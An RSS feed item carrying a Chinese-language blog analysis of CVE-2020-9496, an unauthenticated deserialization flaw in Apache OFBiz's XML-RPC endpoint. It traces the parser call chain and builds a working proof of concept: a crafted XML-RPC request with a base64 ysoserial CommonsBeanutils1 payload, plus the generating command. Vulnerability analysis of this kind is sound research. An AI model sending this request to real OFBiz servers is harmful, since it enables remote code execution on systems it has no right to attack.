<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Java on 诗与胡说</title>
    <link>https://kylingit.com/tags/java/index.xml</link>
    <description>Recent content in Java on 诗与胡说</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh_cn</language>
    <copyright>Copyright © 2021 Kylinking</copyright>
    <atom:link href="https://kylingit.com/tags/java/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2020-9496-apache-ofbiz-xmlrpc-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Tue, 22 Sep 2020 11:17:46 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2020-9496-apache-ofbiz-xmlrpc-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h2 id=&#34;环境搭建&#34;&gt;环境搭建&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;下载：&lt;a href=&#34;https://downloads.apache.org/ofbiz/&#34;&gt;https://downloads.apache.org/ofbiz/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;安装：在主目录下执行：

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;.\gradle\init-gradle-wrapper.ps1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gradlew.bat&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;

&lt;h3 id=&#34;web路由&#34;&gt;Web路由&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!-- framework\webtools\webapp\webtools\WEB-INF\web.xml --&amp;gt;
&amp;lt;servlet&amp;gt;
    &amp;lt;description&amp;gt;Main Control Servlet&amp;lt;/description&amp;gt;
    &amp;lt;display-name&amp;gt;ControlServlet&amp;lt;/display-name&amp;gt;
    &amp;lt;servlet-name&amp;gt;ControlServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;servlet-class&amp;gt;org.apache.ofbiz.webapp.control.ControlServlet&amp;lt;/servlet-class&amp;gt;
    &amp;lt;load-on-startup&amp;gt;1&amp;lt;/load-on-startup&amp;gt;
&amp;lt;/servlet&amp;gt;
&amp;lt;servlet-mapping&amp;gt;
    &amp;lt;servlet-name&amp;gt;ControlServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;url-pattern&amp;gt;/control/*&amp;lt;/url-pattern&amp;gt;
&amp;lt;/servlet-mapping&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;根据web.xml定义的&lt;code&gt;servlet&lt;/code&gt;，定位到&lt;code&gt;org.apache.ofbiz.webapp.control.ControlServlet&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;主要请求由&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler#doRequest()&lt;/code&gt;处理&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921163908090.png&#34; alt=&#34;image-20200921163908090&#34; /&gt;&lt;/p&gt;

&lt;p&gt;首先根据请求的url获取路由信息，默认有216个url路径（17.12.03版本）&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164034754.png&#34; alt=&#34;image-20200921164034754&#34; /&gt;&lt;/p&gt;

&lt;p&gt;之后会根据&lt;code&gt;requestMap.event&lt;/code&gt;信息去查找负责处理event的handler，之后再通过&lt;code&gt;invoke&lt;/code&gt;进行具体的调用，该过程由&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler#runEvent()&lt;/code&gt;来完成&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164204132.png&#34; alt=&#34;image-20200921164204132&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164502998.png&#34; alt=&#34;image-20200921164502998&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;xml-rpc消息&#34;&gt;XML-RPC消息&lt;/h3&gt;

&lt;h4 id=&#34;xml-rpc数据类型&#34;&gt;XML-RPC数据类型&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;文档：&lt;a href=&#34;https://ws.apache.org/xmlrpc/types.html&#34;&gt;https://ws.apache.org/xmlrpc/types.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;根据文档，xmlrpc支持多种数据类型，对应的xml标签包括&lt;code&gt;base64&lt;/code&gt;、&lt;code&gt;struct&lt;/code&gt;、&lt;code&gt;array&lt;/code&gt;等&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921165252225.png&#34; alt=&#34;image-20200921165252225&#34; /&gt;&lt;/p&gt;

&lt;p&gt;下面是几种常见的数据类型&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!-- array --&amp;gt;
&amp;lt;value&amp;gt;
  &amp;lt;array&amp;gt;
    &amp;lt;data&amp;gt;
      &amp;lt;value&amp;gt;&amp;lt;int&amp;gt;7&amp;lt;/int&amp;gt;&amp;lt;/value&amp;gt;
    &amp;lt;/data&amp;gt;
  &amp;lt;/array&amp;gt;
&amp;lt;/value&amp;gt;


&amp;lt;!-- struct --&amp;gt;
&amp;lt;struct&amp;gt; 
  &amp;lt;member&amp;gt; 
    &amp;lt;name&amp;gt;foo&amp;lt;/name&amp;gt; 
    &amp;lt;value&amp;gt;bar&amp;lt;/value&amp;gt; 
  &amp;lt;/member&amp;gt; 
&amp;lt;/struct&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;xml-rpc消息格式&#34;&gt;XML-RPC消息格式&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;文档：&lt;a href=&#34;http://xmlrpc.com/spec.md&#34;&gt;http://xmlrpc.com/spec.md&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;每个XML-RPC请求都以&lt;code&gt;&amp;lt;methodCall&amp;gt;&amp;lt;/methodCall&amp;gt;&lt;/code&gt;开头，该元素包含单个子元素&lt;code&gt;&amp;lt;methodName&amp;gt;method&amp;lt;/methodName&amp;gt;&lt;/code&gt;，元素&lt;code&gt;&amp;lt;methodName&amp;gt;&lt;/code&gt;包含子元素&lt;code&gt;&amp;lt;params&amp;gt;&lt;/code&gt;，&lt;code&gt;&amp;lt;params&amp;gt;&lt;/code&gt;可以包含一个或多个&lt;code&gt;&amp;lt;param&amp;gt;&lt;/code&gt;元素。如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181

&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt; 
  &amp;lt;methodName&amp;gt;examples.getStateName&amp;lt;/methodName&amp;gt;  
  &amp;lt;params&amp;gt; 
    &amp;lt;param&amp;gt; 
      &amp;lt;value&amp;gt;
        &amp;lt;i4&amp;gt;41&amp;lt;/i4&amp;gt;
      &amp;lt;/value&amp;gt; 
    &amp;lt;/param&amp;gt; 
  &amp;lt;/params&amp;gt; 
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;漏洞分析&#34;&gt;漏洞分析&lt;/h2&gt;

&lt;p&gt;CVE-2020-9496&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;漏洞信息：&lt;a href=&#34;https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz&#34;&gt;https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;补丁：&lt;a href=&#34;https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a&#34;&gt;https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164745933.png&#34; alt=&#34;image-20200921164745933&#34; /&gt;&lt;/p&gt;

&lt;p&gt;根据补丁发现&lt;code&gt;framework\webtools\webapp\webtools\WEB-INF\controller.xml&lt;/code&gt;中的&lt;code&gt;xmlrpc&lt;/code&gt;请求增加了&lt;code&gt;&amp;lt;security auth=&amp;quot;true&amp;quot;/&amp;gt;&lt;/code&gt;的认证，说明默认情况下该接口访问无需认证&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!-- framework\webtools\webapp\webtools\WEB-INF\controller.xml --&amp;gt;
&amp;lt;request-map uri=&amp;quot;xmlrpc&amp;quot; track-serverhit=&amp;quot;false&amp;quot; track-visit=&amp;quot;false&amp;quot;&amp;gt;
    &amp;lt;security https=&amp;quot;false&amp;quot;/&amp;gt;
    &amp;lt;event type=&amp;quot;xmlrpc&amp;quot;/&amp;gt;
    &amp;lt;response name=&amp;quot;error&amp;quot; type=&amp;quot;none&amp;quot;/&amp;gt;
    &amp;lt;response name=&amp;quot;success&amp;quot; type=&amp;quot;none&amp;quot;/&amp;gt;
&amp;lt;/request-map&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;调用方法&#34;&gt;调用方法&lt;/h3&gt;

&lt;p&gt;直接构造post请求发送&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 181

&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;testMethod&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;test&amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;发现报错&lt;code&gt;org.apache.xmlrpc.server.XmlRpcNoSuchHandlerException: No such service [testMethod]&lt;/code&gt;说明没有相关的方法&lt;/p&gt;

&lt;p&gt;下断点调试一下，由上面的&lt;code&gt;org.apache.ofbiz.webapp.event.XmlRpcEventHandler#invoke()&lt;/code&gt;进入&lt;code&gt;execute()&lt;/code&gt;，接着调用&lt;code&gt;org.apache.xmlrpc.server.XmlRpcServer#execute()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921171252973.png&#34; alt=&#34;image-20200921171252973&#34; /&gt;&lt;/p&gt;

&lt;p&gt;跟入&lt;code&gt;XmlRpcServer#execute()&lt;/code&gt;，发现调用了&lt;code&gt;org.apache.xmlrpc.server.XmlRpcServerWorker#execute()&lt;/code&gt;，由具体的event handler处理XML-RPC请求&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921171443304.png&#34; alt=&#34;image-20200921171443304&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;org.apache.ofbiz.webapp.event.XmlRpcEventHandler.ServiceRpcHandler#getHandler()&lt;/code&gt;中获取Handler对应的&lt;code&gt;ModelService&lt;/code&gt;，默认注册的service有3000多个，也就是可供调用的&lt;code&gt;methodName&lt;/code&gt;，如果找不到service会抛出&lt;code&gt;No such service&lt;/code&gt;的异常&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921171738522.png&#34; alt=&#34;image-20200921171738522&#34; /&gt;&lt;/p&gt;

&lt;p&gt;所以此处传入一个已注册的service&lt;/p&gt;

&lt;p&gt;回到&lt;code&gt;org.apache.xmlrpc.server.XmlRpcServerWorker#execute()&lt;/code&gt;，当成功查询到service后通过&lt;code&gt;handler.execute(pRequest)&lt;/code&gt;进行调用，注意此处还会检查一次&lt;code&gt;ModelService&lt;/code&gt;的&lt;code&gt;export&lt;/code&gt;属性，因此通过遍历serviceMap找到一个&lt;code&gt;export&lt;/code&gt;为&lt;code&gt;true&lt;/code&gt;的方法，如&lt;code&gt;ping&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921172937855.png&#34; alt=&#34;image-20200921172937855&#34; /&gt;&lt;/p&gt;

&lt;p&gt;继续构造请求（下面会解释为什么需要struct块）&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;ping&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;
        &amp;lt;struct&amp;gt;
          &amp;lt;member&amp;gt;
            &amp;lt;name&amp;gt;foo&amp;lt;/name&amp;gt;
            &amp;lt;value&amp;gt;aa&amp;lt;/value&amp;gt;
          &amp;lt;/member&amp;gt;
        &amp;lt;/struct&amp;gt;
      &amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;响应&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&amp;lt;methodResponse xmlns:ex=&amp;quot;http://ws.apache.org/xmlrpc/namespaces/extensions&amp;quot;&amp;gt;&amp;lt;params&amp;gt;&amp;lt;param&amp;gt;&amp;lt;value&amp;gt;&amp;lt;struct&amp;gt;&amp;lt;member&amp;gt;&amp;lt;name&amp;gt;message&amp;lt;/name&amp;gt;&amp;lt;value&amp;gt;PONG&amp;lt;/value&amp;gt;&amp;lt;/member&amp;gt;&amp;lt;/struct&amp;gt;&amp;lt;/value&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;/params&amp;gt;&amp;lt;/methodResponse&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;说明成功调用ping方法&lt;/p&gt;

&lt;h3 id=&#34;反序列化点&#34;&gt;反序列化点&lt;/h3&gt;

&lt;p&gt;在&lt;code&gt;Ofbiz&lt;/code&gt;自带的第三方库&lt;code&gt;xmlrpc-common-3.1.3.jar&lt;/code&gt;中的&lt;code&gt;org.apache.xmlrpc.parser.SerializableParser&lt;/code&gt;类能明显地看到对数据的还原操作，如果gadget到达此处能直接被反序列化而不会被过滤。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921180634383.png&#34; alt=&#34;image-20200921180634383&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;解析xml&#34;&gt;解析XML&lt;/h3&gt;

&lt;p&gt;回到&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler#runEvent()&lt;/code&gt;方法，在其随后调用的链中，注意到&lt;code&gt;getRequest()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler.runEvent()
  org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke()
    org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute()
      org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在getRequest()中，传入的xml数据由第三方库&lt;code&gt;xmlrpc-common.jar&lt;/code&gt;来进行解析（注意到此处做了XXE防护）&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921174933501.png&#34; alt=&#34;image-20200921174933501&#34; /&gt;&lt;/p&gt;

&lt;p&gt;该类的初始化由父类&lt;code&gt;org.apache.xmlrpc.parser.RecursiveTypeParserImpl&lt;/code&gt;完成，顾名思义就是递归解析，其他的便是常规的xml元素解析操作，包括&lt;code&gt;startElement()&lt;/code&gt;、&lt;code&gt;endElement()&lt;/code&gt;等。我们知道在解析器解析xml数据的过程中，会触发到&lt;code&gt;scanDocument()&lt;/code&gt;操作对元素进行逐一“扫描”，其中就会进行&lt;code&gt;startElement()&lt;/code&gt;、&lt;code&gt;endElement()&lt;/code&gt;的调用，这个过程如果处理不当就会引入问题。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921181123956.png&#34; alt=&#34;image-20200921181123956&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意到在&lt;code&gt;endElement()&lt;/code&gt;方法中对于&lt;code&gt;value&lt;/code&gt;标签的处理，同样由父类完成，跟入&lt;code&gt;org.apache.xmlrpc.parser.RecursiveTypeParserImpl#endValueTag()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921181252917.png&#34; alt=&#34;image-20200921181252917&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;endValueTag()&lt;/code&gt;调用了&lt;code&gt;getResult()&lt;/code&gt;方法，而这个方法就是上面提到的反序列化目标方法，那么接下来就是构造xml数据发送给&lt;code&gt;Ofbiz&lt;/code&gt;，如果&lt;code&gt;value&lt;/code&gt;的标签中存放的值为序列化数据，那么会由&lt;code&gt;SerializableParser&lt;/code&gt;类进行反序列化进而触发漏洞，调用链是这个样子的&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()
  org.apache.xerces.parsers.AbstractSAXParser.parse()
    org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument()
      org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement()
        org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement()
          org.apache.xmlrpc.parser.MapParser.endElement()
            org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag()
              org.apache.xmlrpc.parser.SerializableParser.getResult()
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;poc构造&#34;&gt;PoC构造&lt;/h3&gt;

&lt;p&gt;接下来的问题就是如何构造出特定的xml数据&lt;/p&gt;

&lt;p&gt;以上面的ping方法为例，假设post如下数据&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;ping&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;test&amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;Ofbiz&lt;/code&gt;成功解析到&lt;code&gt;endValueTag()&lt;/code&gt;方法，但是由于&lt;code&gt;typeParser&lt;/code&gt;属性为空，因此不会进入&lt;code&gt;getResult()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921183246986.png&#34; alt=&#34;image-20200921183246986&#34; /&gt;&lt;/p&gt;

&lt;p&gt;那么&lt;code&gt;typeParser&lt;/code&gt;属性是在哪里赋值的呢？&lt;/p&gt;

&lt;p&gt;回到&lt;code&gt;org.apache.xmlrpc.parser.XmlRpcRequestParser#startElement()&lt;/code&gt;，在解析器解析xml标签时，对4类标签（methodCall、params、param、value）有分别的处理，这个处理过程是随着每次遍历标签进行的，当扫描完4个必须提供的标签后，会调用父类的&lt;code&gt;startElement()&lt;/code&gt;进行处理，而typeParser就是在父类中完成赋值的，随后便通过不同的解析器进入不同的解析流程，还是会调用对应解析器的&lt;code&gt;startElement&lt;/code&gt;，这个过程是递归的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921183456809.png&#34; alt=&#34;image-20200921183456809&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921183856009.png&#34; alt=&#34;image-20200921183856009&#34; /&gt;&lt;/p&gt;

&lt;p&gt;分析扫描标签的递增过程，发现此处除了4个标签外，还需在&lt;code&gt;&amp;lt;value&amp;gt;&lt;/code&gt;标签中含有额外的标签，才会进入default分支进而对&lt;code&gt;typeParser&lt;/code&gt;赋值，此时struct就是一个很好的选择，它能把数据作为一个结构体传入。&lt;/p&gt;

&lt;p&gt;接着思考如何传入序列化数据，也即如何控制后端通过&lt;code&gt;SerializableParser&lt;/code&gt;解析数据&lt;/p&gt;

&lt;p&gt;还是关注typeParser的赋值过程，这个属性就是最终将要处理不同类型数据的解析器，在&lt;code&gt;org.apache.xmlrpc.parser.RecursiveTypeParserImpl#startElement()&lt;/code&gt;中，注意到&lt;code&gt;factory.getParser()&lt;/code&gt;操作，将由&lt;code&gt;org.apache.xmlrpc.common.TypeFactoryImpl&lt;/code&gt;类获得不同数据类型的解析类，在其中就有获取&lt;code&gt;SerializableParser&lt;/code&gt;的过程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921185008145.png&#34; alt=&#34;image-20200921185008145&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此只要传入&lt;code&gt;&amp;lt;serializable&amp;gt;&lt;/code&gt;标签便会由&lt;code&gt;SerializableParser&lt;/code&gt;进行解析。&lt;/p&gt;

&lt;p&gt;此时还有个前提条件，那就是标签属性必须带有&lt;code&gt;XmlRpcWriter.EXTENSIONS_URI&lt;/code&gt;才会进入后续的判断流程，因此post的数据是这样子的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;ping&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;
        &amp;lt;struct&amp;gt;
          &amp;lt;member&amp;gt;
            &amp;lt;name&amp;gt;foo&amp;lt;/name&amp;gt;
            &amp;lt;value&amp;gt;
              &amp;lt;serializable xmlns=&amp;quot;http://ws.apache.org/xmlrpc/namespaces/extensions&amp;quot;&amp;gt;serialized_data&amp;lt;/serializable&amp;gt;
            &amp;lt;/value&amp;gt;
          &amp;lt;/member&amp;gt;
        &amp;lt;/struct&amp;gt;
      &amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后一步，数据的格式&lt;/p&gt;

&lt;p&gt;在获取到&lt;code&gt;SerializableParser&lt;/code&gt;解析器后，startElement过程由父类&lt;code&gt;org.apache.xmlrpc.parser.ByteArrayParser#startElement()&lt;/code&gt;完成，在其中能看到base64的解码操作，所以最终的序列化数据是需要通过base64传输的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200922105244816.png&#34; alt=&#34;image-20200922105244816&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;漏洞利用&#34;&gt;漏洞利用&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Ofbiz&lt;/code&gt;中存在Commons-Beanutils库，所以使用ysoserial直接生成CommonsBeanutils1的payload&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc | base64 |tr -d &amp;quot;\n&amp;quot;
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZ...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;填充serialized_data并发送&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921191012365.png&#34; alt=&#34;image-20200921191012365&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用链&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
	at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171) ~[commons-beanutils-1.9.3.jar:1.9.3]
	at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) ~[?:1.8.0_141]
	at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) ~[?:1.8.0_141]
	at java.util.PriorityQueue.heapify(PriorityQueue.java:736) ~[?:1.8.0_141]
	at java.util.PriorityQueue.readObject(PriorityQueue.java:795) ~[?:1.8.0_141]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_141]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_141]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_141]
	at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_141]
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2136) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2027) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1535) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422) ~[?:1.8.0_141]
	at org.apache.xmlrpc.parser.SerializableParser.getResult(SerializableParser.java:36) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag(RecursiveTypeParserImpl.java:78) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.MapParser.endElement(MapParser.java:185) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement(RecursiveTypeParserImpl.java:103) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement(XmlRpcRequestParser.java:165) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xerces.parsers.AbstractSAXParser.endElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLNSDocumentScannerImpl.scanEndElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XMLParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.jaxp.SAXParserImpl$JAXPSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest(XmlRpcEventHandler.java:285) ~[ofbiz.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute(XmlRpcEventHandler.java:229) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke(XmlRpcEventHandler.java:145) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:741) [ofbiz.jar:?]
